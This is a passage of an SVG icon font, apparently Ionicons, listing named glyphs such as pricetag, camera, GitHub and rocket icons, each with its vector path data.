l-92 94c-3 3 -5 7 -5 11v76l-32 -17c-3 -1 -4 -4 -4 -7v-58c0 -10 -9 -19 -19 -19s-18 9 -18 19v65c0 13 5 24 15 29l68 32c2 1 5 2 8 2h37c12 0 18 -5 18 -16v-120l57 -68c2 -3 5 -6 5 -10zM250 216c4 -4 6 -10 6 -15s-1 -8 -5 -12c-7 -7 -19 -7 -26 0l-70 70v53z" />
    <glyph glyph-name="ion-ios-pricetag" unicode="&#xf48d;" 
d="M387 400c16 0 29 -13 29 -29v-123c0 -4 -1 -7 -4 -10l-246 -246c-11 -11 -30 -11 -41 0l-117 117c-11 11 -11 30 0 41l246 246c3 3 6 4 10 4h123zM340 288c15 2 26 13 28 28c2 20 -16 38 -36 36c-15 -2 -26 -13 -28 -28c-2 -20 16 -38 36 -36z" />
    <glyph glyph-name="ion-ios-menu" unicode="&#xf1c3;" horiz-adv-x="384" 
d="M368 272h-352c-9 0 -16 7 -16 16v0c0 9 7 16 16 16h352c9 0 16 -7 16 -16v0c0 -9 -7 -16 -16 -16zM368 176h-352c-9 0 -16 7 -16 16v0c0 9 7 16 16 16h352c9 0 16 -7 16 -16v0c0 -9 -7 -16 -16 -16zM368 80h-352c-9 0 -16 7 -16 16v0c0 9 7 16 16 16h352
c9 0 16 -7 16 -16v0c0 -9 -7 -16 -16 -16z" />
    <glyph glyph-name="ion-md-cash" unicode="&#xf2b5;" horiz-adv-x="448" 
d="M0 352h448v-256h-448v256zM160 128c-20 24 -32 58 -32 96s12 72 32 96h-64c0 -35 -29 -64 -64 -64v-80c27 0 48 -21 48 -48h80zM416 176v80c-35 0 -64 29 -64 64h-64c20 -24 32 -58 32 -96s-12 -72 -32 -96h80c0 27 22 48 48 48zM0 32v32h448v-32h-448z" />
    <glyph glyph-name="ion-ios-person-add" unicode="&#xf1e1;" horiz-adv-x="384" 
d="M321 62c14 -5 56 -20 63 -52c1 -5 -3 -10 -8 -10h-184h-184c-5 0 -9 5 -8 10c7 32 49 47 63 52c16 6 38 7 52 10c8 2 20 6 24 11c4 4 2 38 2 47c0 1 -1 3 -2 4c-2 4 -7 12 -10 20s-6 25 -7 33c0 2 -2 5 -4 6c-3 2 -6 5 -8 13c-3 16 -9 22 -8 34c0 5 2 7 4 9s3 5 2 8
c-2 8 -6 22 -6 45c-1 41 31 82 90 82c58 0 91 -41 90 -82c0 -23 -4 -37 -6 -45c-1 -3 0 -6 2 -8s4 -4 4 -9c1 -12 -5 -18 -8 -34c-2 -8 -5 -11 -8 -13c-2 -1 -4 -4 -4 -6c-1 -8 -4 -25 -7 -33s-9 -16 -11 -20c-1 -1 -1 -3 -1 -4c0 -9 -2 -43 2 -47c4 -5 16 -9 24 -11
c14 -3 36 -4 52 -10zM373 154c6 0 11 -4 11 -10v0c0 -6 -5 -10 -11 -10h-27v-28c0 -6 -4 -10 -10 -10v0c-6 0 -11 4 -11 10v28h-27c-6 0 -10 4 -10 10v0c0 6 4 10 10 10h27v28c0 6 5 10 11 10v0c6 0 10 -4 10 -10v-28h27z" />
    <glyph glyph-name="ion-ios-git-commit" unicode="&#xf184;" horiz-adv-x="448" 
d="M434 206c8 0 14 -6 14 -14s-6 -14 -14 -14h-77c-3 -32 -17 -62 -41 -84c-25 -24 -58 -36 -92 -36s-67 12 -92 36c-24 22 -38 52 -41 84h-77c-8 0 -14 6 -14 14s6 14 14 14h77c3 32 17 62 41 84c25 24 58 36 92 36s67 -12 92 -36c24 -22 38 -52 41 -84h77zM299 117
c20 20 31 47 31 75s-11 55 -31 75s-47 31 -75 31s-55 -11 -75 -31s-31 -47 -31 -75s11 -55 31 -75s47 -31 75 -31s55 11 75 31z" />
    <glyph glyph-name="ion-ios-close-circle" unicode="&#xf14e;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM261 117c6 -6 16 -6 22 0s6 16 0 22l-52 53l52 53c6 6 6 16 0 22s-16 6 -22 0l-53 -52l-53 52c-6 6 -16 6 -22 0c-3 -3 -5 -7 -5 -11s2 -8 5 -11l52 -53l-52 -53
c-3 -3 -5 -7 -5 -11s2 -8 5 -11c6 -6 16 -6 22 0l53 52z" />
    <glyph glyph-name="ion-ios-close" unicode="&#xf406;" horiz-adv-x="191" 
d="M118 192l68 -68c6 -6 6 -17 0 -23s-16 -6 -22 0l-68 68l-69 -68c-6 -6 -16 -6 -22 0c-3 3 -5 7 -5 11s2 9 5 12l68 68l-68 68c-3 3 -5 8 -5 12s2 8 5 11c6 6 16 6 22 0l69 -68l68 68c6 6 16 6 22 0s6 -17 0 -23z" />
    <glyph glyph-name="ion-md-camera" unicode="&#xf2ad;" horiz-adv-x="448" 
d="M161 168c0 35 28 63 63 63s63 -28 63 -63s-28 -63 -63 -63s-63 28 -63 63zM408 352c22 0 40 -18 40 -40v-272c0 -22 -18 -40 -40 -40h-368c-22 0 -40 18 -40 40v272c0 22 18 40 40 40h88l32 32h128l32 -32h88zM224 56c62 0 112 50 112 112s-50 112 -112 112
s-112 -50 -112 -112s50 -112 112 -112z" />
    <glyph glyph-name="ion-ios-resize" unicode="&#xf1ff;" horiz-adv-x="352" 
d="M338 368c8 0 14 -6 14 -14v-110c0 -8 -6 -14 -14 -14v0c-8 0 -14 6 -14 14v76l-276 -276h76c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14h-110c-8 0 -14 6 -14 14v110c0 8 6 14 14 14v0c8 0 14 -6 14 -14v-76l276 276h-76c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h110z" />
    <glyph glyph-name="ion-md-arrow-round-forward" unicode="&#xf28a;" horiz-adv-x="352" 
d="M205 35c-12 -12 -31 -12 -43 0s-12 34 0 46l83 79h-214c-17 0 -31 14 -31 32s14 32 31 32h214l-83 79c-12 12 -12 34 0 46s31 12 43 0l138 -134c6 -6 9 -14 9 -23v0c0 -9 -3 -17 -9 -23z" />
    <glyph glyph-name="ion-ios-football" unicode="&#xf437;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM335 319c-20 20 -43 35 -69 44c-1 0 -3 0 -4 -1l-38 -26c-1 -1 -2 -2 -2 -3v-63c0 -1 1 -2 2 -3l56 -48c1 -1 3 -2 4 -1l58 27c1 0 2 1 2 2l14 41c0 1 1 3 0 4c-6 10 -15 19 -23 27
zM261 22l17 43v3l-23 42c-1 1 -1 2 -3 2h-88c-1 0 -2 -1 -3 -2l-23 -42v-3l17 -43c0 -1 1 -3 2 -3c16 -5 33 -7 51 -7c17 0 35 2 51 7c1 0 2 2 2 3zM194 333c0 1 -1 3 -2 3l-38 26c-1 1 -3 0 -4 0c-26 -9 -49 -23 -69 -43c-8 -8 -17 -17 -23 -27c-1 -1 0 -3 0 -4l14 -41
c0 -1 1 -2 2 -2l58 -27c1 -1 3 0 4 1l57 47c1 1 1 3 1 4v63zM30 184c-1 -1 -2 -2 -2 -3c2 -35 15 -68 35 -96c1 -1 2 -1 3 -1l46 -1c2 0 3 1 4 2l23 44v3l-14 57c0 1 -2 3 -3 3l-52 24c-1 1 -3 0 -4 -1zM300 85c1 -1 2 -2 4 -2l46 1c1 0 2 0 3 1c20 28 33 61 35 96
c0 1 -1 2 -2 3l-36 31c-1 1 -3 2 -4 1l-52 -24c-1 0 -3 -2 -3 -3l-14 -57v-3z" />
    <glyph glyph-name="ion-ios-headset" unicode="&#xf194;" horiz-adv-x="448" 
d="M224 324c24 0 47 -10 64 -28s26 -34 26 -60c0 -8 -6 -14 -13 -14s-13 6 -13 14c0 17 -7 33 -19 44s-28 16 -45 16s-33 -5 -45 -16s-19 -27 -19 -44c0 -8 -6 -14 -13 -14s-13 6 -13 14c0 26 9 42 26 60s40 28 64 28zM425 169c15 -15 23 -34 23 -55v-12
c0 -21 -8 -40 -23 -55s-34 -23 -55 -23h-6c-4 0 -7 -1 -10 -4c-2 -2 -6 -4 -10 -4c-8 0 -14 6 -14 14v204c0 28 -11 55 -31 75s-47 31 -75 31s-55 -11 -75 -31s-31 -47 -31 -75v-204c0 -8 -6 -14 -14 -14c-4 0 -8 2 -10 4c-3 3 -6 4 -10 4h-6c-21 0 -40 8 -55 23
s-23 34 -23 55v12c0 21 8 40 23 55s34 23 55 23h8c2 0 4 2 4 4v38c0 36 14 70 39 95s59 39 95 39s70 -14 95 -40c25 -25 39 -58 39 -94v-38c0 -2 2 -4 4 -4h8c21 0 40 -8 55 -23z" />
    <glyph glyph-name="ion-md-arrow-dropleft-circle" unicode="&#xf281;" 
d="M416 192c0 -115 -93 -208 -208 -208s-208 93 -208 208s93 208 208 208s208 -93 208 -208zM144 192l96 -96v192z" />
    <glyph glyph-name="ion-ios-analytics" unicode="&#xf3ce;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM28 192c0 -12 1 -23 3 -34c6 -5 20 -16 37 -13c12 2 28 25 38 41c4 6 8 12 11 16c17 21 34 23 45 21c24 -3 43 -27 52 -49c7 -18 20 -28 33 -29c15 -1 31 10 42 29c1 2 3 5 4 7
c9 17 23 43 51 43c20 0 35 -14 44 -24c-2 45 -21 87 -53 119c-34 34 -79 53 -127 53s-93 -19 -127 -53s-53 -79 -53 -127z" />
    <glyph glyph-name="ion-ios-hammer" unicode="&#xf18e;" 
d="M229 201c4 -9 3 -18 -3 -25c-6 -6 -19 -18 -39 -38c-40 -40 -90 -97 -119 -132c-6 -7 -17 -8 -24 -1l-39 39c-7 7 -6 18 1 24c34 29 92 78 132 118l39 39s15 8 23 4c2 -1 5 -2 7 -4l18 -18c2 -2 3 -4 4 -6zM414 230c2 -2 2 -6 0 -8l-56 -55c-1 -1 -3 -2 -4 -2
c-2 0 -3 1 -4 2l-34 34c-2 2 -2 6 0 8l2 2c7 6 6 17 0 24c-1 1 -2 1 -3 2c-4 2 -13 5 -23 5c-4 0 -9 -1 -13 -2c-9 -2 -17 -9 -31 -23c-3 -3 -9 -3 -12 0l-19 20c-3 3 -3 8 0 11c15 17 20 28 19 45c-1 23 -15 40 -31 53c-10 8 -29 10 -45 10c-10 0 -19 0 -23 -1h-3
c-8 0 -3 9 3 14c7 7 29 15 55 15c14 0 30 -2 47 -9c47 -19 75 -46 82 -53s18 -18 24 -27s-2 -22 5 -29c3 -3 8 -5 12 -5s8 1 10 3v0c1 1 3 2 4 2c2 0 3 -1 4 -2z" />
    <glyph glyph-name="ion-md-open" unicode="&#xf33b;" horiz-adv-x="384" 
d="M341 43v133h43v-133c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h133v-43h-133v-298h298zM224 384h160v-160h-43v87l-215 -215l-30 30l215 215h-87v43z" />
    <glyph glyph-name="ion-md-return-left" unicode="&#xf36d;" horiz-adv-x="448" 
d="M401 312h47v-144h-358l85 -86l-33 -34l-142 144l142 144l33 -34l-85 -86h311v96z" />
    <glyph glyph-name="ion-md-square-outline" unicode="&#xf380;" horiz-adv-x="384" 
d="M341 341h-298v-298h298v298zM341 384v0c24 0 43 -19 43 -43v-298c0 -24 -19 -43 -43 -43h-298c-24 0 -43 19 -43 43v298c0 24 19 43 43 43h298z" />
    <glyph glyph-name="ion-md-phone-landscape" unicode="&#xf346;" horiz-adv-x="448" 
d="M448 89c0 -23 -19 -41 -41 -41h-366c-22 0 -41 18 -41 41v206c0 23 19 41 41 41h366c22 0 41 -18 41 -41v-206zM80 84h288v216h-288v-216z" />
    <glyph glyph-name="ion-md-stopwatch" unicode="&#xf386;" horiz-adv-x="384" 
d="M168 141v131h48v-131h-48zM344 278c25 -33 40 -74 40 -118c0 -106 -86 -192 -192 -192s-192 86 -192 192s86 192 192 192c44 0 85 -15 118 -40l31 30l33 -33zM298 54c28 28 44 66 44 106s-16 78 -44 106s-66 44 -106 44s-78 -16 -106 -44s-44 -66 -44 -106
s16 -78 44 -106s66 -44 106 -44s78 16 106 44zM128 368v48h128v-48h-128z" />
    <glyph glyph-name="ion-logo-python" unicode="&#xf246;" horiz-adv-x="384" 
d="M129 199c-29 -5 -49 -30 -49 -57v-43v-3h-15c-29 0 -54 29 -62 69c-2 9 -3 17 -3 27v1c0 53 29 95 65 95h127v16h-96v29c0 26 7 40 46 47c13 2 29 4 45 4s39 -1 55 -4c25 -4 46 -22 46 -47v-57v-31c0 -21 -14 -38 -33 -43c-4 -1 -8 -2 -13 -2h-104h3c-4 0 -8 0 -12 -1z
M140 321c10 0 17 7 17 17s-7 18 -17 18s-18 -8 -18 -18s8 -17 18 -17zM380 225c3 -10 4 -21 4 -33c0 -16 -3 -30 -7 -43c-11 -31 -33 -53 -58 -53h-127v-16h96v-26c0 -26 -23 -40 -46 -47c-35 -10 -68 -9 -97 0c-25 7 -49 22 -49 47v54v33c0 21 14 36 33 41c4 1 8 2 13 2
h104c3 0 6 1 9 1c27 4 49 28 49 62v38v3h15c28 0 52 -26 61 -63zM244 65c-10 0 -18 -7 -18 -17s8 -18 18 -18s17 8 17 18s-7 17 -17 17z" />
    <glyph glyph-name="ion-logo-hackernews" unicode="&#xf23c;" horiz-adv-x="384" 
d="M0 384h384v-384h-384v384zM214 169l64 120h-45l-38 -84l-40 84h-47l66 -120v-72h40v72z" />
    <glyph glyph-name="ion-md-cut" unicode="&#xf2de;" horiz-adv-x="448" 
d="M171 290l277 -277v-23h-67l-157 157l-53 -53c5 -11 8 -23 8 -36c0 -50 -39 -90 -89 -90s-90 40 -90 90s40 89 90 89c13 0 25 -3 36 -8l53 53l-53 53c-11 -5 -23 -8 -36 -8c-50 0 -90 39 -90 89s40 90 90 90s89 -40 89 -90c0 -13 -3 -25 -8 -36zM90 282c25 0 44 19 44 44
s-19 45 -44 45s-45 -20 -45 -45s20 -44 45 -44zM90 13c25 0 44 20 44 45s-19 44 -44 44s-45 -19 -45 -44s20 -45 45 -45zM224 181c6 0 11 5 11 11s-5 11 -11 11s-11 -5 -11 -11s5 -11 11 -11zM381 394h67v-23l-157 -157l-45 45z" />
    <glyph glyph-name="ion-md-photos" unicode="&#xf348;" 
d="M352 27c0 -24 -20 -43 -43 -43h-266c-24 0 -43 19 -43 43v266c0 24 19 43 43 43h266c24 0 43 -19 43 -43v-266zM109 144l-66 -96h266l-88 128l-66 -96zM373 400c24 0 43 -19 43 -43v-266c0 -24 -19 -43 -43 -43h-5v32v229c0 24 -19 43 -43 43h-229h-32v5
c0 24 19 43 43 43h266z" />
    <glyph glyph-name="ion-ios-locate" unicode="&#xf1ae;" horiz-adv-x="415" 
d="M347 189c0 1 -1 2 -1 3s1 2 1 3c0 -1 -1 -1 -1 -2s1 -3 1 -4zM411 178c2 0 4 -2 4 -4c-9 -100 -89 -180 -189 -189c-2 0 -5 2 -5 4v50c0 8 -5 14 -13 14s-15 -6 -15 -14v-50c0 -2 -2 -4 -4 -4c-100 9 -180 89 -189 189c0 2 2 4 4 4h50c8 0 14 5 14 13s-6 15 -14 15h-50
c-2 0 -4 2 -4 4c9 100 89 180 189 189c2 0 4 -2 4 -4v-50c0 -8 6 -14 14 -14s14 6 14 14v50c0 2 3 4 5 4c100 -9 180 -89 189 -189c0 -2 -2 -4 -4 -4h-50c-7 0 -13 -5 -14 -11c0 -1 -1 -2 -1 -3s1 -2 1 -3c1 -6 6 -11 13 -11h51zM207 122c39 0 70 31 70 70s-31 70 -70 70
s-70 -31 -70 -70s31 -70 70 -70z" />
    <glyph glyph-name="ion-md-mic-off" unicode="&#xf32b;" horiz-adv-x="408" 
d="M316 93l58 -58l-58 58l58 -58l34 -33l-24 -24l-95 95c-19 -11 -40 -20 -62 -23v-82h-46v82c-75 10 -137 76 -137 153h39c0 -68 58 -117 121 -117c20 0 40 5 57 14l-32 33c-8 -3 -16 -5 -25 -5c-38 0 -69 31 -69 69v29l-135 134l24 24l111 -110v0l140 -140l5 -5l9 -9z
M273 197c0 -4 0 -8 -1 -12l-137 137v25c0 38 31 69 69 69s69 -31 69 -69v-150zM365 203c0 -31 -10 -60 -27 -84l-27 28c9 17 15 36 15 56h39zM408 2v0l-34 33z" />
    <glyph glyph-name="ion-md-cloudy" unicode="&#xf2cb;" horiz-adv-x="448" 
d="M91 265h2h-2zM361 229c48 -3 87 -44 87 -93c0 -52 -41 -94 -93 -94h-243c-62 0 -112 50 -112 112c0 55 38 100 91 111c6 1 15 2 21 2c50 0 91 -31 106 -75h33c-6 24 -19 47 -37 65c-25 25 -57 37 -91 40c25 31 61 45 101 45c68 0 124 -48 137 -113z" />
    <glyph glyph-name="ion-ios-podium" unicode="&#xf1ed;" horiz-adv-x="384" 
d="M0 248c0 4 4 8 8 8h96c4 0 8 -4 8 -8v-208c0 -4 -4 -8 -8 -8h-96c-4 0 -8 4 -8 8v208zM136 352h112c4 0 8 -4 8 -8v-304c0 -4 -4 -8 -8 -8h-119h-1v312c0 4 4 8 8 8zM376 192c4 0 8 -4 8 -8v-144c0 -4 -4 -8 -8 -8h-96c-4 0 -8 4 -8 8v144c0 4 4 8 8 8h96z" />
    <glyph glyph-name="ion-ios-print" unicode="&#xf1f1;" 
d="M80 200c0 9 7 16 16 16h224c9 0 16 -7 16 -16v-200c0 -9 -7 -16 -16 -16h-224c-9 0 -16 7 -16 16v200zM336 400c9 0 16 -7 16 -16v-20c0 -2 -2 -4 -4 -4h-280c-2 0 -4 2 -4 4v20c0 9 7 16 16 16h256zM384 336c18 0 32 -13 32 -31v-175c0 -18 -14 -32 -32 -32h-16
c-4 0 -8 4 -8 8v106c0 16 -12 28 -28 28h-248c-16 0 -28 -12 -28 -28v-106c0 -4 -4 -8 -8 -8h-16c-18 0 -32 14 -32 32v175c0 18 14 31 32 31h352z" />
    <glyph glyph-name="ion-md-browsers" unicode="&#xf2a3;" horiz-adv-x="432" 
d="M384 384c27 0 48 -22 48 -48v-288c0 -26 -22 -48 -48 -48h-336c-27 0 -48 22 -48 48v288c0 26 21 48 48 48h336zM384 48v224h-336v-224h336z" />
    <glyph glyph-name="ion-ios-calculator" unicode="&#xf3f2;" horiz-adv-x="296" 
d="M264 400c18 0 32 -14 32 -32v-352c0 -18 -14 -32 -32 -32h-232c-18 0 -32 14 -32 32v352c0 18 14 32 32 32h232zM252 128c0 13 -11 24 -24 24v0c-13 0 -24 -11 -24 -24v-80c0 -13 11 -24 24 -24v0c13 0 24 11 24 24v80zM252 208c0 13 -11 24 -24 24v0
c-13 0 -24 -11 -24 -24v0c0 -13 11 -24 24 -24v0c13 0 24 11 24 24v0zM172 48c0 13 -11 24 -24 24v0c-13 0 -24 -11 -24 -24v0c0 -13 11 -24 24 -24v0c13 0 24 11 24 24v0zM172 128c0 13 -11 24 -24 24v0c-13 0 -24 -11 -24 -24v0c0 -13 11 -24 24 -24v0c13 0 24 11 24 24v0
zM172 208c0 13 -11 24 -24 24v0c-13 0 -24 -11 -24 -24v0c0 -13 11 -24 24 -24v0c13 0 24 11 24 24v0zM92 48c0 13 -11 24 -24 24v0c-13 0 -24 -11 -24 -24v0c0 -13 11 -24 24 -24v0c13 0 24 11 24 24v0zM92 128c0 13 -11 24 -24 24v0c-13 0 -24 -11 -24 -24v0
c0 -13 11 -24 24 -24v0c13 0 24 11 24 24v0zM92 208c0 13 -11 24 -24 24v0c-13 0 -24 -11 -24 -24v0c0 -13 11 -24 24 -24v0c13 0 24 11 24 24v0zM44 288c0 -9 7 -16 16 -16h176c9 0 16 7 16 16v48c0 9 -7 16 -16 16h-176c-9 0 -16 -7 -16 -16v-48z" />
    <glyph glyph-name="ion-md-gift" unicode="&#xf199;" horiz-adv-x="420" 
d="M378 314c23 0 42 -19 42 -43v-245c0 -24 -20 -42 -43 -42h-336c-23 0 -41 18 -41 42v245c0 24 19 43 42 43h46c-2 7 -4 13 -4 21c0 35 28 65 63 65c22 0 42 -13 53 -30l10 -14l10 14c11 17 31 28 53 28c35 0 63 -28 63 -63c0 -7 -2 -14 -4 -21h46zM274 357
c-12 0 -21 -9 -21 -21s9 -21 21 -21s21 9 21 21s-9 21 -21 21zM146 357c-12 0 -21 -9 -21 -21s9 -21 21 -21s21 9 21 21s-9 21 -21 21zM42 271v-245h147v229v0l-50 -69l-34 24l44 61h-107zM378 26v245h-107l44 -61l-34 -24l-50 69v-229h147z" />
    <glyph glyph-name="ion-md-thumbs-down" unicode="&#xf391;" 
d="M266 384c21 0 38 -17 38 -38v-192c0 -11 -4 -20 -11 -27l-126 -127l-20 20c-5 5 -9 12 -9 20l1 6l18 82h-119c-21 0 -38 24 -38 45v38c0 5 1 10 3 14l57 136c6 14 18 23 34 23h172zM352 160v224h64v-224h-64z" />
    <glyph glyph-name="ion-md-arrow-dropright-circle" unicode="&#xf283;" 
d="M208 -16c-115 0 -208 93 -208 208s93 208 208 208s208 -93 208 -208s-93 -208 -208 -208zM176 96l96 96l-96 96v-192z" />
    <glyph glyph-name="ion-ios-battery-dead" unicode="&#xf121;" horiz-adv-x="480" 
d="M380 304c26 0 48 -22 48 -48v-128c0 -26 -22 -48 -48 -48h-332c-26 0 -48 22 -48 48v128c0 26 22 48 48 48h332zM400 128v128c0 11 -9 20 -20 20h-332c-11 0 -20 -9 -20 -20v-128c0 -11 9 -20 20 -20h332c11 0 20 9 20 20zM448 243c16 0 32 -27 32 -51s-16 -51 -32 -51
v102z" />
    <glyph glyph-name="ion-ios-add" unicode="&#xf102;" horiz-adv-x="257" 
d="M241 208c9 0 16 -7 16 -16s-7 -16 -16 -16h-97v-96c0 -9 -7 -16 -16 -16c-4 0 -8 1 -11 4s-5 8 -5 12v96h-96c-4 0 -8 2 -11 5s-5 7 -5 11c0 9 7 16 16 16h96v96c0 9 7 16 16 16s16 -7 16 -16v-96h97z" />
    <glyph glyph-name="ion-md-rocket" unicode="&#xf179;" horiz-adv-x="288" 
d="M144 26c18 0 33 7 43 11c5 2 11 -1 11 -7l-4 -51c0 -3 -4 -5 -6 -3l-15 11c-2 1 -4 1 -5 -1l-21 -32c-2 -2 -4 -2 -6 0l-21 32c-1 2 -4 2 -6 1l-14 -11c-2 -2 -6 0 -6 3l-4 51c0 6 6 9 11 7c10 -4 25 -11 43 -11zM286 155c2 -2 2 -4 2 -7l-18 -112c-1 -6 -7 -8 -12 -5
l-67 45s-20 -20 -46 -20s-48 20 -48 20l-67 -45c-5 -3 -10 -1 -11 5l-19 112c0 3 0 5 2 7l48 49c0 158 94 228 94 228s94 -70 94 -228zM144 256c17 0 31 14 31 32s-14 32 -31 32s-30 -14 -30 -32s13 -32 30 -32z" />
    <glyph glyph-name="ion-md-briefcase" unicode="&#xf2a2;" 
d="M304 304h112v-264c0 -22 -18 -40 -40 -40h-336c-22 0 -40 18 -40 40v264h112v40c0 22 18 40 40 40h112c22 0 40 -18 40 -40v-40zM264 304v40h-112v-40h112z" />
    <glyph glyph-name="ion-ios-flower" unicode="&#xf433;" 
d="M337 218c52 0 79 -11 79 -26s-27 -26 -79 -26c-27 0 -60 6 -86 13c-1 -3 -2 -6 -4 -9c23 -14 52 -32 71 -51c37 -37 48 -63 37 -74c-3 -2 -6 -4 -10 -4c-14 0 -36 13 -64 41c-19 19 -37 48 -51 71c-3 -2 -7 -3 -10 -4c7 -26 14 -59 14 -86c0 -52 -11 -79 -26 -79
s-26 27 -26 79c0 27 7 60 14 86c-3 1 -6 2 -9 4c-14 -23 -33 -52 -52 -71c-28 -28 -50 -41 -64 -41c-4 0 -7 1 -10 4c-11 11 0 37 37 74c19 19 48 37 71 51c-2 3 -3 6 -4 9c-26 -7 -59 -13 -86 -13c-52 0 -79 11 -79 26s27 26 79 26c27 0 60 -7 86 -14c1 3 2 6 4 9
c-23 14 -52 33 -71 52c-37 37 -48 63 -37 74c3 2 6 4 10 4c14 0 36 -13 64 -41c19 -19 37 -48 51 -71c3 2 6 3 9 4c-7 26 -13 59 -13 86c0 52 11 79 26 79s26 -27 26 -79c0 -27 -7 -60 -14 -86c3 -1 7 -2 10 -4c14 23 32 52 51 71c28 28 50 41 64 41c4 0 7 -1 10 -4
c11 -11 0 -37 -37 -74c-19 -19 -48 -38 -71 -52c2 -3 3 -6 4 -9c26 7 59 14 86 14zM270 72c7 -7 14 -14 20 -19c9 -31 7 -50 -4 -54c-2 -1 -3 -1 -5 -1c-10 0 -22 11 -34 33c1 10 2 20 2 32s-1 25 -3 38c8 -11 16 -21 24 -29zM146 312c-7 7 -14 13 -20 18c-9 31 -7 51 4 55
c2 1 3 1 5 1c10 0 22 -11 34 -33c-1 -10 -2 -20 -2 -32s1 -25 3 -38c-8 11 -16 21 -24 29zM88 129c-7 -7 -14 -14 -19 -20c-13 -4 -24 -5 -32 -5c-12 0 -19 4 -22 10c-4 10 6 24 32 38c10 -1 20 -1 32 -1s25 1 38 3c-11 -8 -21 -17 -29 -25zM328 254c7 7 14 14 19 20
c13 4 24 6 32 6c12 0 19 -4 22 -10c4 -10 -6 -25 -32 -39c-10 1 -20 2 -32 2s-25 -2 -38 -4c11 8 21 17 29 25zM146 72c8 8 16 18 24 29c-2 -13 -3 -26 -3 -38c0 -10 0 -20 1 -28c-14 -24 -26 -36 -36 -36c-2 0 -3 0 -5 1c-10 4 -13 22 -5 50c8 6 16 14 24 22zM270 312
c-8 -8 -16 -19 -24 -30c2 13 3 27 3 39c0 10 0 19 -1 27c14 24 26 36 36 36c2 0 3 1 5 0c10 -4 13 -23 5 -51c-8 -6 -16 -13 -24 -21zM52 232c-28 16 -41 30 -36 41c3 6 11 10 22 10c8 0 17 -2 28 -5c6 -8 14 -16 22 -24s18 -17 29 -25c-13 2 -26 4 -38 4
c-10 0 -19 0 -27 -1zM364 152c28 -16 41 -31 36 -42c-3 -6 -11 -9 -22 -9c-8 0 -17 2 -28 5c-6 8 -14 15 -22 23s-18 17 -29 25c13 -2 26 -3 38 -3c10 0 19 0 27 1z" />
    <glyph glyph-name="ion-logo-github" unicode="&#xf239;" horiz-adv-x="448" 
d="M224 416c124 0 224 -103 224 -230c0 -101 -64 -188 -153 -218h-4c-8 0 -12 7 -12 12c0 8 1 31 1 62c0 21 -8 36 -16 43c50 6 103 25 103 113c0 25 -9 46 -23 62c2 6 10 29 -2 61h-5c-8 0 -27 -3 -57 -24c-18 5 -37 8 -56 8s-38 -3 -56 -8c-30 21 -49 24 -57 24h-5
c-12 -32 -4 -55 -2 -61c-14 -16 -23 -37 -23 -62c0 -88 52 -107 102 -113c-6 -6 -12 -16 -14 -31c-6 -3 -16 -6 -26 -6c-13 0 -28 5 -39 25c0 0 -13 22 -35 24v0c-2 0 -21 0 -1 -14c0 0 15 -8 25 -34c0 0 10 -33 53 -33c7 0 14 0 22 2v-39c0 -5 -3 -11 -11 -11h-4
c-89 30 -153 116 -153 218c0 127 100 230 224 230z" />
    <glyph glyph-name="ion-ios-play" unicode="&#xf488;" horiz-adv-x="256" 
d="M0 344c0 6 7 10 12 7l240 -152c5 -3 5 -11 0 -14l-240 -152c-5 -3 -12 1 -12 7v304z" />
    <glyph glyph-name="ion-md-globe" unicode="&#xf301;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM186 15c6 15 21 29 8 39c-8 7 -16 14 -23 21c-2 2 -11 20 -9 23c5 9 6 14 8 24c3 12 -3 16 -13 22c-15 10 -29 23 -43 34c-7 5 -17 10 -20 19s-5 20 -10 28c-14 20 -12 34 -10 58
c0 7 -1 16 -2 25c-28 -32 -42 -73 -42 -116c0 -48 18 -92 52 -126c29 -29 65 -46 104 -51zM334 66c23 23 39 51 47 82c-8 -1 -19 2 -19 2s-21 24 -23 45c-2 22 0 39 -3 57c-3 16 -20 31 -27 46c-7 14 -13 28 -20 42c2 -1 5 -2 7 -3c5 1 10 2 14 2c-23 16 -49 25 -76 29v-8
l4 -9l-14 -13l-9 3l-10 10l-10 12l-14 5c-16 -2 -31 -7 -45 -13v-7c7 3 16 5 23 8c3 1 13 -7 16 -9c-4 -5 -21 -15 -22 -21c0 -2 7 -6 7 -10c0 -6 -1 -11 -1 -17c3 3 20 21 22 21c13 3 35 -19 37 -26s-22 -24 -33 -34c-8 -8 -25 -12 -20 -24c2 -4 10 -20 5 -24
c-6 -5 -14 9 -17 12c-8 10 -26 7 -38 7c0 -17 -1 -31 15 -43c15 -11 30 -25 47 -33c13 -6 36 7 47 -1c16 -11 29 -21 47 -29c8 -3 33 -20 26 -31c-5 -8 -10 -15 -14 -23s-13 -20 -20 -25c-8 -6 -16 -17 -21 -29c35 7 66 23 92 49z" />
    <glyph glyph-name="ion-md-cloud" unicode="&#xf2c9;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121z" />
    <glyph glyph-name="ion-md-egg" unicode="&#xf2e5;" horiz-adv-x="352" 
d="M176 416c70 0 176 -133 176 -257s-70 -191 -176 -191s-176 67 -176 191s106 257 176 257z" />
    <glyph glyph-name="ion-ios-easel" unicode="&#xf173;" horiz-adv-x="448" 
d="M402 -14c2 -4 1 -8 -1 -12s-7 -6 -11 -6h-1c-6 0 -11 3 -13 8l-26 70c-2 4 0 8 2 12s7 6 11 6c5 0 10 -3 12 -8zM86 64c4 0 9 -2 11 -6c3 -4 3 -8 1 -12l-26 -70c-2 -5 -6 -8 -12 -8h-1c-4 0 -9 2 -11 6s-3 8 -1 12l26 70c2 5 7 8 13 8zM225 64c7 0 13 -6 13 -13v-37
